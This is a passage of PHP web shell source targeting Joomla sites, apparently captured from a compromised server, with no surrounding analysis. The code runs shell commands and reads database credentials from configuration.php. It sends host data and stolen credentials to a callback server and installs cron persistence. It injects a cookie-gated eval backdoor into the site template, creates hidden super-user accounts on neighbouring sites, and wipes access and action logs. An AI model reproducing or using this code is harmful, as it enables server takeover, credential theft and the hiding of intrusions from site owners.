if($p){$o=stream_get_contents($pi[1]);fclose($pi[1]);fclose($pi[2]);proc_close($p);return $o;}\n    }\n    if(function_exists('passthru')){ob_start();@passthru($cmd);return ob_get_clean();}\n    if(function_exists('system')){ob_start();@system($cmd);return ob_get_clean();}\n    return null;\n}\n\nfunction _cfg(){\n    $d=dirname(__file__);\n    for($i=0;$i<8;$i++){\n        $f=$d.directory_separator.'configuration.php';\n        if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'jconfig')!==false)return $c;}\n        $np=dirname($d);if($np===$d)break;$d=$np;\n    }\n    $roots=array();\n    if(getenv('document_root'))$roots[]=getenv('document_root');\n    if(getenv('context_document_root'))$roots[]=getenv('context_document_root');\n    $roots[]='/var/www/html';$roots[]='/var/www';\n    foreach($roots as $x){$f=rtrim($x,'/\\\\').'/configuration.php';if(@file_exists($f)){$c=@file_get_contents($f);if($c&&strpos($c,'jconfig')!==false)return $c;}}\n    $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n    if($o){$c=@file_get_contents($o);if($c&&strpos($c,'jconfig')!==false)return $c;}\n    return null;\n}\n\nfunction _wr(){\n    $r=isset($_server['document_root'])?realpath($_server['document_root']):'';\n    if(!$r){\n        $o=trim((string)_ex('find /home /var/www -name \"configuration.php\" -maxdepth 8 2>/dev/null | head -1'));\n        if($o)$r=dirname($o);\n    }\n    if(!$r){\n        $c=_cfg();\n        if($c){$lp=_gc($c,'log_path');if($lp&&strpos($lp,'/')===0)$r=realpath(dirname($lp));}\n    }\n    if(!$r)$r=isset($_server['document_root'])?$_server['document_root']:'';\n    return $r;\n}\n\nfunction _post($url,$body){\n    if(function_exists('curl_init')){\n        $ch=@curl_init($url);\n        if($ch){\n            @curl_setopt($ch,curlopt_post,1);\n            @curl_setopt($ch,curlopt_postfields,$body);\n            @curl_setopt($ch,curlopt_httpheader,array('content-type: application/json'));\n            @curl_setopt($ch,curlopt_returntransfer,1);\n            @curl_setopt($ch,curlopt_timeout,5);\n            @curl_setopt($ch,curlopt_ssl_verifypeer,0);\n            $r=@curl_exec($ch);\n            @curl_close($ch);\n            return $r;\n        }\n    }\n    if(ini_get('allow_url_fopen')){\n        @file_get_contents($url,false,stream_context_create(array('http'=>array('method'=>'post','header'=>'content-type: application/json','content'=>$body,'timeout'=>5,'ignore_errors'=>true))));\n    }\n    return '';\n}\n\nfunction _cb($action,$data){\n    $p=json_encode(array('site'=>isset($_server['http_host'])?$_server['http_host']:'','url'=>(isset($_server['https'])&&$_server['https']?'https':'http').'://'.(isset($_server['http_host'])?$_server['http_host']:'').(isset($_server['request_uri'])?$_server['request_uri']:''),'action'=>$action,'data'=>$data,'ts'=>date('y-m-d h:i:s')));\n    _post(_cb_url(),$p);\n}\n\nfunction _whoami(){\n    $u=trim((string)_ex('whoami 2>/dev/null'));\n    if(!$u&&function_exists('posix_geteuid')){$pw=@posix_getpwuid(@posix_geteuid());$u=isset($pw['name'])?$pw['name']:'';}\n    if(!$u)$u=get_current_user();\n    return $u;\n}\n\nfunction _ping(){\n    $wr=_wr();\n    $ex=_ex('id 2>/dev/null');\n    $d=array('whoami'=>_whoami(),'php'=>phpversion(),'os'=>php_uname(),'webroot'=>$wr,'host'=>isset($_server['http_host'])?$_server['http_host']:'','shell'=>__file__,'exec'=>$ex!==null?'on':'off');\n    _cb('ping',$d);\n    _r(array('ok'=>1,'data'=>$d));\n}\n\nfunction _persist(){\n    $wr=_wr();\n    $sf=__file__;\n    $sb=base64_encode(@file_get_contents($sf));\n    $sk=substr(md5(uniqid()),0,12);\n    $sh=md5($sk);\n    $out=array();\n\n    $cron=\"*/10 * * * * php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\" 2>/dev/null\";\n    $cr=trim((string)_ex('(crontab -l 2>/dev/null | grep -v \"'.addslashes($sf).'\"; echo \"'.addslashes($cron).'\") | crontab - 2>/dev/null && echo ok'));\n    $cron_ok=((strpos($cr,'ok')!==false)||$cr==='')?1:0;\n    if(!$cron_ok){\n        $cd='/etc/cron.d';\n        if(@is_dir($cd)&&@is_writable($cd)){\n            $cn='svc_cache_'.substr(md5($sf),0,6);\n            $cron_ok=@file_put_contents($cd.'/'.$cn,\"*/10 * * * * root php -r \\\"\\\\\\$p='$sf';file_exists(\\\\\\$p)||file_put_contents(\\\\\\$p,base64_decode('$sb'));chmod(\\\\\\$p,0644);\\\"\\n\")?1:0;\n        }\n    }\n    $out['cron']=array('ok'=>$cron_ok,'line'=>$cron);\n\n    $tpl='';\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $res=$con->query(\"select template from {$pfx}template_styles where home=1 and client_id=0 limit 1\");\n                if($res&&$row=$res->fetch_assoc())$tpl=$row['template'];\n                $con->close();\n            }\n        }\n    }\n    if(!$tpl&&$wr){\n        $td=$wr.'/templates';\n        if(@is_dir($td)){\n            $it=@scandir($td);\n            if($it){foreach($it as $e){if($e!='.'&&$e!='..'&&@is_dir($td.'/'.$e)){$tpl=$e;break;}}}\n        }\n        if(!$tpl)$tpl=trim((string)_ex(\"ls -1 $wr/templates/ 2>/dev/null | grep -v '^\\.' | head -1\"));\n    }\n\n    $ti=$wr.'/templates/'.$tpl.'/index.php';\n    $bd_code='if(!preg_match(\\'/bot|crawl|spider|scan/i\\',isset($_server[\\'http_user_agent\\'])?$_server[\\'http_user_agent\\']:\\'\\')&&@md5(@$_cookie[\\'_jss\\'])==\\''.$sh.'\\'){@eval(@base64_decode(@$_post[\\'d\\']));}';\n    $bd=\"\\n<?php $bd_code ?>\";\n\n    if(@file_exists($ti)){\n        $orig_mtime=@filemtime($ti);\n        @chmod($ti,0644);\n        $cur=@file_get_contents($ti);\n        $inject_ok=0;\n        if($cur&&strpos($cur,$sh)===false){\n            $new=rtrim($cur);\n            if(substr($new,-2)==='?>'){$new=substr($new,0,-2).$bd.\"\\n?>\";}\n            else{$new.=$bd;}\n            $inject_ok=@file_put_contents($ti,$new)?1:0;\n            if($orig_mtime)@touch($ti,$orig_mtime,$orig_mtime);\n            @chmod($ti,0444);\n        }else{$inject_ok=2;}\n        $out['template']=array('path'=>$ti,'name'=>$tpl,'injected'=>$inject_ok,'cookie_name'=>'_jss','cookie_secret'=>$sk,'cookie_hash'=>$sh,'usage'=>'set cookie _jss='.$sk.' then post d=base64(php_code) to any page');\n    }else{\n        $out['template']=array('error'=>'template not found','path'=>$ti);\n    }\n\n    @chmod($sf,0444);\n    $out['shell']=array('path'=>$sf);\n    _cb('persist',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _find_joomla_dirs(){\n    $r=trim((string)_ex('find /home /var/www /srv /usr/local/www -maxdepth 8 -name \"configuration.php\" ! -path \"*/components/*\" ! -path \"*/modules/*\" ! -path \"*/plugins/*\" ! -path \"*/cache/*\" ! -path \"*/tmp/*\" 2>/dev/null | xargs -i{} dirname {} | sort -u'));\n    if($r)return array_filter(explode(\"\\n\",$r));\n    $found=array();\n    $bases=array('/home','/var/www','/srv','/usr/local/www');\n    $dl=ini_get('max_execution_time');\n    $ts=time();\n    $limit=$dl>0?min($dl-5,25):25;\n    foreach($bases as $base){\n        if(!@is_dir($base))continue;\n        try{\n            $it=new recursiveiteratoriterator(new recursivedirectoryiterator($base,recursivedirectoryiterator::skip_dots),recursiveiteratoriterator::self_first);\n            $it->setmaxdepth(7);\n            foreach($it as $f){\n                if(time()-$ts>$limit)break 2;\n                if($f->getfilename()==='configuration.php'){\n                    $d=$f->getpath();\n                    $dp=str_replace('\\\\','/',$d);\n                    if(strpos($dp,'/components/')===false&&strpos($dp,'/modules/')===false&&strpos($dp,'/plugins/')===false&&strpos($dp,'/cache/')===false&&strpos($dp,'/tmp/')===false){\n                        $c=@file_get_contents($f->getpathname());\n                        if($c&&strpos($c,'jconfig')!==false)$found[]=$d;\n                    }\n                }\n            }\n        }catch(exception $e){}\n    }\n    return array_unique($found);\n}\n\nfunction _lateral(){\n    $wr=_wr();\n    $out=array();\n    $sites=_find_joomla_dirs();\n    if(empty($sites)){_cb('lateral',array('error'=>'no sites found'));_r(array('ok'=>0,'data'=>array('error'=>'no sites found')));}\n    $prefixes=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n    foreach($sites as $root){\n        $root=trim(rtrim($root,'/'));\n        if(!$root||$root===$wr)continue;\n        $cf=$root.'/configuration.php';\n        if(!@file_exists($cf))continue;\n        $ct=@file_get_contents($cf);\n        if(!$ct||strpos($ct,'jconfig')===false)continue;\n        $h=_gc($ct,'host');$u=_gc($ct,'user');$pw=_gc($ct,'password');$db=_gc($ct,'db');$pfx=_gc($ct,'dbprefix');\n        if(!$h||!$db)continue;\n        $parts=explode('/',$root);\n        $domain='';\n        foreach(array('public_html','html','htdocs','www','web') as $mk){\n            $idx=array_search($mk,$parts);\n            if($idx!==false){$domain=isset($parts[$idx-1])?$parts[$idx-1]:'';break;}\n        }\n        if(!$domain)$domain=end($parts);\n        $nu=$prefixes[array_rand($prefixes)].rand(10,99);\n        $np='p@'.substr(md5(uniqid()),0,8).'!';\n        $site_out=array('root'=>$root,'domain'=>$domain,'user'=>$nu,'pass'=>$np,'admin_url'=>'https://'.$domain.'/administrator/');\n        $con=@new mysqli($h,$u,$pw,$db);\n        if(!$con->connect_error){\n            $con->query(\"set sql_mode=''\");\n            $hh=password_hash($np,password_bcrypt);\n            $ne=$nu.'@secure.local';\n            $con->query(\"insert into {$pfx}users (name,username,email,password,block,sendemail,registerdate,lastvisitdate,activation,params,lastresettime,otpkey,otep,requirereset) values ('$nu','$nu','$ne','$hh',0,1,now(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n            $uid=$con->insert_id;\n            if($uid){\n                $res=$con->query(\"select id from {$pfx}usergroups where title='super users' limit 1\");\n                $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n                $con->query(\"insert into {$pfx}user_usergroup_map (user_id,group_id) values ($uid,$gid)\");\n                $con->query(\"insert into {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) select max(id),max(rgt)+1,max(rgt)+2,1,concat('com_users.user.',$uid),'$nu','{}' from {$pfx}assets\");\n                $site_out['admin_created']=1;\n            }else{$site_out['admin_created']=0;}\n            $con->close();\n        }else{$site_out['db_error']=$con->connect_error;}\n        $out[]=$site_out;\n    }\n    _cb('lateral',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _db(){\n    $c=_cfg();\n    if(!$c){_r(array('ok'=>0,'data'=>array('error'=>'config not found')));}\n    $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n    $out=array('db'=>array('host'=>$h,'user'=>$u,'pass'=>$pw,'db'=>$db,'prefix'=>$pfx));\n    $sql=isset($_post['sql'])?$_post['sql']:'';\n    $add_admin=isset($_post['mkadmin'])?1:0;\n    $con=@new mysqli($h,$u,$pw,$db);\n    if($con->connect_error){_cb('db',array('error'=>$con->connect_error));_r(array('ok'=>0,'data'=>array('error'=>$con->connect_error)));}\n    if($sql){\n        $res=$con->query($sql);\n        if($res===true){$out['query']=array('affected'=>$con->affected_rows);}\n        elseif($res){$rows=array();while($row=$res->fetch_assoc())$rows[]=$row;$out['query']=array('rows'=>$rows,'count'=>count($rows));}\n        else{$out['query']=array('error'=>$con->error);}\n    }\n    if($add_admin){\n        $pfxs=array('webeditor','contentmgr','sysadmin','webmaster','portaladmin','siteeditor','webmanager','cmsadmin');\n        $nu=$pfxs[array_rand($pfxs)].rand(10,99);\n        $np='p@'.substr(md5(uniqid()),0,8).'!';\n        $hh=password_hash($np,password_bcrypt);\n        $ne=$nu.'@secure.local';\n        $con->query(\"set sql_mode=''\");\n        $con->query(\"insert into {$pfx}users (name,username,email,password,block,sendemail,registerdate,lastvisitdate,activation,params,lastresettime,otpkey,otep,requirereset) values ('$nu','$nu','$ne','$hh',0,1,now(),'0000-00-00 00:00:00','','','0000-00-00 00:00:00','','',0)\");\n        $uid=$con->insert_id;\n        if($uid){\n            $res=$con->query(\"select id from {$pfx}usergroups where title='super users' limit 1\");\n            $gid=($res&&$row=$res->fetch_assoc())?$row['id']:8;\n            $con->query(\"insert into {$pfx}user_usergroup_map (user_id,group_id) values ($uid,$gid)\");\n            $con->query(\"insert into {$pfx}assets (parent_id,lft,rgt,level,name,title,rules) select max(id),max(rgt)+1,max(rgt)+2,1,concat('com_users.user.',$uid),'$nu','{}' from {$pfx}assets\");\n            $out['admin']=array('user'=>$nu,'pass'=>$np,'url'=>'https://'.(isset($_server['http_host'])?$_server['http_host']:'').'/administrator/');\n        }else{$out['admin']=array('error'=>$con->error);}\n    }\n    $con->close();\n    _cb('db',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nfunction _logclean(){\n    $sf=basename(__file__);\n    $sd=basename(dirname(__file__));\n    $out=array();\n    $logs=array('/var/log/apache2/access.log','/var/log/nginx/access.log','/var/log/httpd/access_log','/var/log/apache2/error.log','/var/log/nginx/error.log');\n    $ex=trim((string)_ex('find /home -maxdepth 5 \\( -name \"access_log\" -o -name \"access.log\" \\) 2>/dev/null'));\n    if($ex)foreach(explode(\"\\n\",$ex) as $l){if(trim($l))$logs[]=trim($l);}\n    foreach($logs as $lf){\n        if(!@file_exists($lf)||!@is_writable($lf))continue;\n        $lines=@file($lf,file_ignore_new_lines);\n        if($lines===false)continue;\n        $before=count($lines);\n        $lines=array_filter($lines,function($ln)use($sf,$sd){return strpos($ln,$sf)===false&&strpos($ln,$sd)===false;});\n        $after=count($lines);\n        @file_put_contents($lf,implode(\"\\n\",$lines).\"\\n\");\n        $out['logs'][]=array('file'=>$lf,'removed'=>$before-$after);\n    }\n    $c=_cfg();\n    if($c){\n        $h=_gc($c,'host');$u=_gc($c,'user');$pw=_gc($c,'password');$db=_gc($c,'db');$pfx=_gc($c,'dbprefix');\n        if($h&&$db){\n            $con=@new mysqli($h,$u,$pw,$db);\n            if(!$con->connect_error){\n                $con->query(\"delete from {$pfx}session where time < unix_timestamp()-3600\");\n                $r1=$con->affected_rows;\n                $con->query(\"truncate table {$pfx}action_logs\");\n                $out['db']=array('sessions_cleaned'=>$r1,'action_logs'=>'truncated');\n                $con->close();\n            }\n        }\n    }\n    _cb('logclean',$out);\n    _r(array('ok'=>1,'data'=>$out));\n}\n\nif(!_a()){_404();}\n\n$act=isset($_post['a'])?$_post['a']:'';\nif($act==='x'&&isset($_post['d'])){ob_end_clean();@eval(@base64_decode($_post['d']));exit;}\nswitch($act){\n    case'ping':    _ping();    break;\n    case'persist': _persist(); break;\n    case'lateral': _lateral(); break;\n    case'db':      _db();      break;\n    case'logclean':_logclean();break;\n    default:       _404();\n}\n||RSV:8.25||T:APACHE||SC:/home/globalgroupoman/public_html/administrator/index.php||


